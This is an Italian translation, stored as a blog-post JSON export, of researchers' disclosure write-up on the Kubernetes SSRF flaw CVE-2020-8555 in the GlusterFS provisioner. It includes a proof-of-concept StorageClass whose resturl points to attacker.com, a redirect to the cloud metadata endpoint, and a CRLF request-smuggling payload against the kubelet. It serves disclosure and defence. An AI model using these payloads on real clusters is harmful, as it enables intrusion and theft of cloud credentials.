{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Nota di traduzione.<\/b>: gli autori di questo articolo raccontano in dettaglio come sono riusciti a scoprire una vulnerabilit\u00e0 <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> in Kubernetes. Anche se inizialmente non sembrava molto pericolosa, in combinazione con altri fattori la sua criticit\u00e0 si \u00e8 rivelata massima per alcuni fornitori di servizi cloud. Gli specialisti sono stati generosamente ricompensati da diverse organizzazioni per il lavoro svolto.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Chi siamo<\/h2>\n<p>\nSiamo due ricercatori francesi nel campo della sicurezza, che hanno scoperto insieme una vulnerabilit\u00e0 in Kubernetes. Ci chiamiamo Brice Augras e Christophe Hauquiert, ma su molte piattaforme di Bug Bounty siamo conosciuti come Reeverzax e Hach rispettivamente:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 architetto di Kubernetes in Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Cosa \u00e8 successo?<\/h2>\n<p>\nQuesto articolo \u00e8 il nostro modo di raccontare come un progetto di ricerca ordinario si sia improvvisamente trasformato nella pi\u00f9 entusiasmante avventura della vita degli cacciatori di bug (almeno fino ad ora).<\/p>\n<p>Come sapete, gli cacciatori di bug hanno un paio di caratteristiche notevoli:<\/p>\n<ul>\n<li> vivono di pizze e birra;<\/li>\n<li> lavorano quando gli altri dormono.<\/li>\n<\/ul>\n<p>\nNoi non facciamo eccezione a queste regole: di solito ci incontriamo nei fine settimana e trascorriamo notti insonni da hacker. Ma una di quelle notti \u00e8 finita in modo piuttosto inusuale.<\/p>\n<p>Inizialmente avevamo intenzione di incontrarci per discutere la partecipazione a <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> il giorno successivo. Durante una conversazione sulla sicurezza di Kubernetes in un ambiente di servizio gestito, ci siamo ricordati di una vecchia idea di SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) e abbiamo deciso di provare a usarla come scenario di attacco.<\/p>\n<p>A mezzanotte ci siamo messi a ricercare e siamo andati a letto di prima mattina, piuttosto soddisfatti dei risultati. \u00c8 stato grazie a queste ricerche che ci siamo imbattuti nel programma MSRC Bug Bounty e abbiamo ideato un exploit di escalation dei privilegi.<\/p>\n<p>Passarono settimane\/mesi e il nostro risultato inaspettato ci ha permesso di ottenere uno dei riconoscimenti pi\u00f9 alti nella storia del Bug Bounty di Azure Cloud \u2014 oltre a quello che abbiamo ricevuto da Kubernetes!<\/p>\n<p>Ispirato al nostro progetto di ricerca, il comitato Kubernetes Product Security Committee ha pubblicato <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Ora vorremmo diffondere il pi\u00f9 possibile informazioni sulla vulnerabilit\u00e0 trovata. Speriamo che apprezziate la scoperta e condividiate i dettagli tecnici con altri membri della comunit\u00e0 infosec!<\/p>\n<p>Quindi, ecco la nostra storia\u2026<\/p>\n<h2>Contesto<\/h2>\n<p>\nPer trasmettere al meglio il significato di quanto accaduto, iniziamo esaminando come funziona Kubernetes in un ambiente cloud gestito.<\/p>\n<p>Quando crei un'istanza del cluster Kubernetes in un tale ambiente, il lavoro del livello di controllo \u00e8 solitamente gestito dal fornitore di servizi cloud:<\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Il livello di controllo si trova nel perimetro del fornitore cloud, mentre i nodi Kubernetes sono nel perimetro del cliente.<\/i><\/p>\n<p>Per la fornitura dinamica dei volumi viene utilizzato un meccanismo di provisioning dinamico da un backend di storage esterno e associo a PVC (persistent volume claim, cio\u00e8 richiesta di volume).<\/p>\n<p>Pertanto, dopo che il PVC \u00e8 stato creato e associato a uno StorageClass nel cluster K8s, le successive azioni per la fornitura del volume sono gestite dal kube\/cloud controller manager (il suo nome esatto dipende dalla versione). <i>(<b>Nota di traduzione.<\/b>: Abbiamo gi\u00e0 scritto di pi\u00f9 sul CCM come esempi della sua implementazione per uno dei fornitori di servizi cloud. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">qui<\/a><\/noindex>.)<\/i><\/p>\n<p>Esistono diverse tipologie di provisioner supportati da Kubernetes: la maggior parte di essi \u00e8 inclusa in <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">nucleo dell'orchestratore<\/a><\/noindex>, mentre altri sono gestiti da provisioner aggiuntivi, che vengono distribuiti nei pod all'interno del cluster.<\/p>\n<p>Nella nostra ricerca ci siamo concentrati sul meccanismo interno di fornitura dei volumi, illustrato di seguito:<\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>La fornitura dinamica dei volumi utilizzando il provisioner integrato di Kubernetes<\/i><\/p>\n<p>In breve, quando Kubernetes \u00e8 distribuito in un ambiente gestito, il funzionamento del controller manager \u00e8 responsabilit\u00e0 del fornitore di servizi cloud, ma la richiesta di creazione del volume (numero 3 nello schema sopra) esce dai limiti della rete interna del fornitore cloud. E qui la situazione diventa davvero interessante!<\/p>\n<h2>Scenario di attacco<\/h2>\n<p>\nIn questa sezione parleremo di come abbiamo utilizzato il flusso di lavoro menzionato sopra per accedere alle risorse interne del fornitore di servizi cloud. Inoltre, verr\u00e0 dimostrato come sia possibile effettuare determinate azioni, come ottenere credenziali interne o eseguire un'escursione di privilegi.<\/p>\n<p>Una semplice manipolazione (in questo caso si tratta di Service Side Request Forgery) ha aiutato a oltrepassare i confini dell'ambiente del cliente nei cluster di vari fornitori di servizi di K8s gestito.<\/p>\n<p>Nella nostra ricerca ci siamo concentrati sul provisioner GlusterFS. Sebbene la sequenza successiva delle azioni sia descritta in questo contesto, la stessa vulnerabilit\u00e0 colpisce Quobyte, StorageOS e ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Abuso del meccanismo di provisioning dinamico dei volumi<\/i><\/p>\n<p>Durante l'analisi della classe di storage <b>GlusterFS<\/b> nei codici sorgente del client in Golang abbiamo <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">hanno notato<\/a><\/noindex>, che alla prima richiesta HTTP (3), inviata durante la creazione del volume, al termine dell'URL dell'utente nel parametro <code>resturl<\/code> la stessa informazione che al container normale. <code>\/volumes<\/code>.<\/p>\n<p>Per eliminare questo percorso aggiuntivo abbiamo deciso di aggiungere <code>#<\/code> al parametro <code>resturl<\/code>. Ecco la prima configurazione YAML che abbiamo utilizzato per verificare la vulnerabilit\u00e0 SSRF \"semi-blind\" <i>(puoi leggere di pi\u00f9 su semi-blind o half-blind SSRF per esempio, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">qui<\/a><\/noindex> \u2014 nota del traduttore.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nSuccessivamente, per la gestione remota del cluster Kubernetes, abbiamo utilizzato il binario <b>kubectl<\/b>. Di solito, i provider cloud (Azure, Google, AWS, ecc.) consentono di ottenere le credenziali per l'utilizzo di questo strumento.<\/p>\n<p>Grazie a ci\u00f2 siamo riusciti ad applicare il nostro file \"speciale\". Il kube-controller-manager ha eseguito la richiesta HTTP risultante:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Risposta dal punto di vista dell'attaccante<\/i><\/p>\n<p>Poco dopo, siamo riusciti a ottenere una risposta HTTP dal server destinatario \u2014 tramite i comandi <code>describe pvc<\/code> o <code>get events<\/code> in kubectl. E in effetti: questo driver Kubernetes \u00e8 troppo verboso nelle sue avvertenze\/messaggi di errore di default...<\/p>\n<p>Ecco un esempio con un link a <code>https:\/\/www.google.fr<\/code>, impostato come parametro <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# oppure puoi usare kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nIn questo approccio siamo stati limitati a richieste di tipo <b>HTTP POST<\/b> e non siamo riusciti a ottenere il contenuto del corpo della risposta se il codice restituito era <b>201<\/b>. Pertanto, abbiamo deciso di condurre ulteriori ricerche ed espandere questo scenario di attacco con nuovi approcci.<\/p>\n<h2>Evoluzione delle nostre ricerche<\/h2>\n<p><\/p>\n<ul>\n<li> Scenario avanzato n. 1: utilizzo del reindirizzamento 302 da un server esterno per cambiare il metodo HTTP, al fine di ottenere un modo pi\u00f9 flessibile per raccogliere dati interni.<\/li>\n<li> Scenario avanzato n. 2: automazione della scansione della LAN e scoperta di risorse interne.<\/li>\n<li> Scenario avanzato n. 3: utilizzo di HTTP CRLF + smuggling (\u00abcontrabbando\u00bb di richieste) per creare richieste HTTP personalizzate e ottenere dati estratti dai log del kube-controller.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Specifiche tecniche<\/h3>\n<p><\/p>\n<ul>\n<li> Negli studi \u00e8 stato utilizzato Azure Kubernetes Service (AKS) con Kubernetes versione 1.12 nella regione Eurosettentrionale.<\/li>\n<li> Gli scenari sopra descritti sono stati eseguiti con le ultime versioni di Kubernetes, ad eccezione del terzo scenario, poich\u00e9 richiedeva Kubernetes compilato con Golang versione \u2264 1.12.<\/li>\n<li> Server esterno dell'attaccante \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenari avanzato n. 1: reindirizzamento della richiesta HTTP POST in GET e ottenimento di dati riservati<\/h3>\n<p>\nIl metodo iniziale \u00e8 stato migliorato dalla configurazione del server dell'attaccante per restituire <b>302 HTTP Retcode<\/b>, per convertire la richiesta POST in richiesta GET (passo 4 nello schema):<\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLa prima richiesta (3), inviata dal cliente <b>GlusterFS<\/b> (Controller Manager), \u00e8 di tipo POST. Completando i seguenti passaggi, siamo riusciti a trasformarla in GET:<\/p>\n<ul>\n<li> Come parametro <code>resturl<\/code> nello StorageClass \u00e8 specificato <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> L'Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> risponde con codice di stato HTTP 302 con il seguente Location Header: <code>http:\/\/169.254.169.254<\/code>. Pu\u00f2 essere qualsiasi altro risorsa interna \u2014 in questo caso, il link di reindirizzamento \u00e8 utilizzato esclusivamente come esempio.<\/li>\n<li> Per impostazione predefinita <b>libreria net\/http<\/b> Golang reindirizza la richiesta e converte POST in GET con codice di stato 302, portando cos\u00ec a una richiesta HTTP GET verso la risorsa target.<\/li>\n<\/ul>\n<p>\nPer leggere il corpo della risposta HTTP, \u00e8 necessario <code>describe<\/code> oggetto PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nEcco un esempio di risposta HTTP in formato JSON che siamo riusciti a ottenere:<\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLe possibilit\u00e0 dell'exploit trovato erano limitate a causa dei seguenti aspetti:<\/p>\n<ul>\n<li> Impossibilit\u00e0 di inserire intestazioni HTTP nella richiesta in uscita.<\/li>\n<li> Impossibilit\u00e0 di eseguire richieste POST con parametri nel corpo (cos\u00ec \u00e8 comodo interrogare il valore della chiave nell'istanza di etcd in esecuzione su <b>2379<\/b> porta, se si utilizza HTTP non crittografato).<\/li>\n<li> Impossibilit\u00e0 di ottenere il contenuto del corpo della risposta quando il codice di stato era 200 e la risposta non aveva content-type JSON.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenari avanzato n. 2: scansione della rete locale<\/h3>\n<p>\nQuesto metodo di SSRF half-blind \u00e8 stato poi utilizzato per scansionare la rete interna del fornitore di servizi cloud e interrogare vari servizi in ascolto (istanza Metadata, Kubelet, etcd, ecc.) sulla base delle risposte <b>del kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nInizialmente sono stati identificati le porte standard in ascolto dei componenti di Kubernetes (8443, 10250, 10251, ecc.), e poi \u00e8 stato necessario automatizzare il processo di scansione.<\/p>\n<p>Vedendo che questo metodo di scansione delle risorse \u00e8 molto specifico e non compatibile con scanner classici e strumenti SSRF, abbiamo deciso di creare i nostri worker in uno script bash, che automatizza l'intero processo.<\/p>\n<p>Ad esempio, per scansionare pi\u00f9 rapidamente l'intervallo 172.16.0.0\/12 della rete interna, sono stati avviati in parallelo 15 worker. L'intervallo IP sopra menzionato \u00e8 stato scelto esclusivamente come esempio e pu\u00f2 essere modificato in base all'intervallo IP specifico del fornitore di servizi.<\/p>\n<p>Per scansionare un singolo indirizzo IP e una singola porta, \u00e8 necessario fare quanto segue:<\/p>\n<ul>\n<li> rimuovere lo StorageClass verificato la volta precedente;<\/li>\n<li> rimuovere la precedente Persistent Volume Claim verificata;<\/li>\n<li> modificare i valori di IP e Porta in <code>sc.yaml<\/code>;<\/li>\n<li> creare uno StorageClass con il nuovo IP e la nuova porta;<\/li>\n<li> creare un nuovo PVC;<\/li>\n<li> estrarre i risultati della scansione utilizzando il describe per il PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Script avanzato n. 3: iniezione CRLF + smuggling HTTP nelle 'vecchie' versioni del cluster Kubernetes<\/h3>\n<p>\nSe inoltre il provider offriva ai clienti versioni obsolete del cluster K8s <b>e<\/b> dando loro accesso ai log di kube-controller-manager, l'effetto diventava ancora pi\u00f9 significativo.<\/p>\n<p>Per un attaccante \u00e8 davvero molto pi\u00f9 comodo modificare a proprio piacimento le richieste HTTP destinate a ottenere la risposta HTTP completa.<\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPer implementare l'ultimo scenario dovevano essere soddisfatte le seguenti condizioni:<\/p>\n<ul>\n<li> L'utente deve avere accesso ai log di kube-controller-manager (come ad esempio in Azure LogInsights).<\/li>\n<li> Il cluster Kubernetes deve utilizzare una versione di Golang inferiore alla 1.12.<\/li>\n<\/ul>\n<p>\nAbbiamo dispiegato un ambiente locale che simula lo scambio di dati tra il client Go GlusterFS e un server target falso (per ora ci asteniamo dalla pubblicazione del PoC).<\/p>\n<p>\u00c8 stata scoperta <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">vulnerabilit\u00e0<\/a><\/noindex>, che influisce sulle versioni di Golang inferiori alla 1.12 e consentiva agli hacker di eseguire attacchi di tipo HTTP smuggling\/CRLF.<\/p>\n<p>Unendo il SSRF half-blind descritto sopra <b>insieme<\/b> con questo, siamo stati in grado di inviare richieste a nostro piacimento, inclusa la sostituzione di intestazioni, metodo HTTP, parametri e dati che poi kube-controller-manager elaborava.<\/p>\n<p>Ecco un esempio di 'esca' funzionante nel parametro <code>resturl<\/code> StorageClass che implementa uno scenario di attacco simile:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1\r\nConnection: keep-alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET \/pods? HTTP\/1.1\r\nHost: 172.31.X.1:10255<\/code><\/pre>\n<p>\nDi conseguenza si verifica un errore <b>risposta non richiesta<\/b>, messaggio che viene registrato nei log del controllore. Grazie all'impostazione predefinita di 'verbosity' attivata, viene salvato anche il contenuto del messaggio HTTP di risposta.<\/p>\n<p><img decoding=\"async\" alt=\"Quando il problema non \u00e8 solo la vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nQuesta \u00e8 stata la nostra esca pi\u00f9 efficace nel contesto del proof of concept.<\/p>\n<p>Utilizzando questo approccio, siamo riusciti a eseguire alcune delle seguenti attacchi nei cluster di vari fornitori di k8s gestiti: escalation dei privilegi con accesso alle credenziali sui metadata-instance, DoS del master tramite richieste HTTP (non criptate) sui master instance di etcd, e cos\u00ec via.<\/p>\n<h2>Conseguenze<\/h2>\n<p>\nNella dichiarazione ufficiale di Kubernetes riguardo alla vulnerabilit\u00e0 SSRF che abbiamo scoperto, le \u00e8 stato assegnato un punteggio <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Se consideriamo solo la vulnerabilit\u00e0 legata al perimetro di Kubernetes, il vettore di integrit\u00e0 <i>(integrity vector)<\/i> viene qualificato come <b>Nessuno<\/b>.<\/p>\n<p>Tuttavia, la valutazione delle potenziali conseguenze nel contesto di un ambiente di servizio gestito (e questa \u00e8 stata la parte pi\u00f9 interessante della nostra ricerca!) ci ha spinto a ridefinire la vulnerabilit\u00e0 con un punteggio <b>Critico CVSS10\/10<\/b> per molti distributori.<\/p>\n<p>Di seguito sono riportate ulteriori informazioni che aiutano a comprendere le linee guida che abbiamo seguito per la valutazione delle potenziali conseguenze negli ambienti cloud:<\/p>\n<h3>Integrit\u00e0<\/h3>\n<p><\/p>\n<ul>\n<li> Esecuzione remota di comandi utilizzando le credenziali interne ottenute.<\/li>\n<li> Riproduzione dello scenario sopra descritto utilizzando il metodo IDOR (Insecure Direct Object Reference, ovvero riferimenti diretti non sicuri agli oggetti) con altre risorse scoperte nella rete locale.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Riservatezza<\/h3>\n<p><\/p>\n<ul>\n<li> Attacco di tipo <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> grazie al furto di credenziali cloud (ad esempio, metadata API).<\/li>\n<li> Raccolta di informazioni tramite la scansione della rete locale (determinazione della versione SSH, versione del server HTTP, ...).<\/li>\n<li> Raccolta di informazioni sulle istanze e l'infrastruttura interrogando API interne, come metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Furto di dati dei clienti utilizzando credenziali cloud.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Disponibilit\u00e0<\/h3>\n<p>\nTutti gli scenari di sfruttamento legati ai vettori di attacco su <b>integrity (integrit\u00e0)<\/b>, possono essere utilizzati per azioni distruttive e portare a rendere inaccessibili le istanze master dal perimetro del cliente (o qualsiasi altro).<\/p>\n<p>Poich\u00e9 ci trovavamo in un ambiente controllato K8s e valutavamo l'impatto sull'integrit\u00e0, si possono immaginare numerosi scenari in grado di influenzare la disponibilit\u00e0. A titolo di esempio, possiamo citare il danneggiamento del database etcd o l'esecuzione di una chiamata critica all'API di Kubernetes.<\/p>\n<h2>Cronologia<\/h2>\n<p><\/p>\n<ul>\n<li> 6 dicembre 2019: invio di una segnalazione riguardante una vulnerabilit\u00e0 scoperta al MSRC Bug Bounty.<\/li>\n<li> 3 gennaio 2020: una terza parte ha informato gli sviluppatori di Kubernetes che stavamo lavorando a un problema di sicurezza e li ha invitati a considerare SSRF come una vulnerabilit\u00e0 in-core. Successivamente, abbiamo presentato un rapporto generale con dettagli tecnici sulla fonte del problema.<\/li>\n<li> 15 gennaio 2020: abbiamo fornito agli sviluppatori di Kubernetes rapporti tecnici e generali su loro richiesta (attraverso la piattaforma HackerOne).<\/li>\n<li> 15 gennaio 2020: gli sviluppatori di Kubernetes ci hanno informato che half-blind SSRF + iniezione CRLF per le versioni precedenti \u00e8 considerata una vulnerabilit\u00e0 in-core. Abbiamo immediatamente smesso di analizzare i perimetri di altri fornitori di servizi: la causa principale \u00e8 stata ora gestita dal team K8s.<\/li>\n<li> 15 gennaio 2020: ricevuta una ricompensa da MSRC attraverso HackerOne.<\/li>\n<li> 16 gennaio 2020: Kubernetes PSC (Product Security Committee) ha riconosciuto la vulnerabilit\u00e0 e ha chiesto di mantenerla riservata fino a met\u00e0 marzo a causa del grande numero di potenziali vittime.<\/li>\n<li> 11 febbraio 2020: ricevuta una ricompensa da Google VRP.<\/li>\n<li> 4 marzo 2020: ricevuta una ricompensa da Kubernetes attraverso HackerOne.<\/li>\n<li> 15 marzo 2020: la divulgazione pubblica inizialmente programmata \u00e8 stata rinviata a causa della situazione COVID-19.<\/li>\n<li> 1 giugno 2020: dichiarazione congiunta di Kubernetes + Microsoft sulla vulnerabilit\u00e0.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Beviamo birra e mangiamo pizza \ud83d\ude42<\/li>\n<li> Abbiamo scoperto una vulnerabilit\u00e0 in-core in Kubernetes, anche se non avevamo assolutamente intenzione di farlo.<\/li>\n<li> Abbiamo effettuato ulteriori analisi nei cluster di vari fornitori di cloud e siamo stati in grado di aumentare il danno causato dalla vulnerabilit\u00e0 per ottenere bonus aggiuntivi davvero eccezionali.<\/li>\n<li> In questo articolo troverete molti dettagli tecnici. Saremo felici di discuterli con voi (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Si \u00e8 scoperto che tutte le formalit\u00e0 e la redazione dei rapporti richiedono molto pi\u00f9 tempo di quanto previsto.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Link<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google Gruppo kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. dal traduttore<\/h2>\n<p>\nLeggi anche nel nostro blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">La caccia agli errori in Kubernetes \u00e8 ufficialmente aperta<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Uscita dal pod in Kubernetes attraverso il montaggio dei log.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ strumenti per la sicurezza di Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 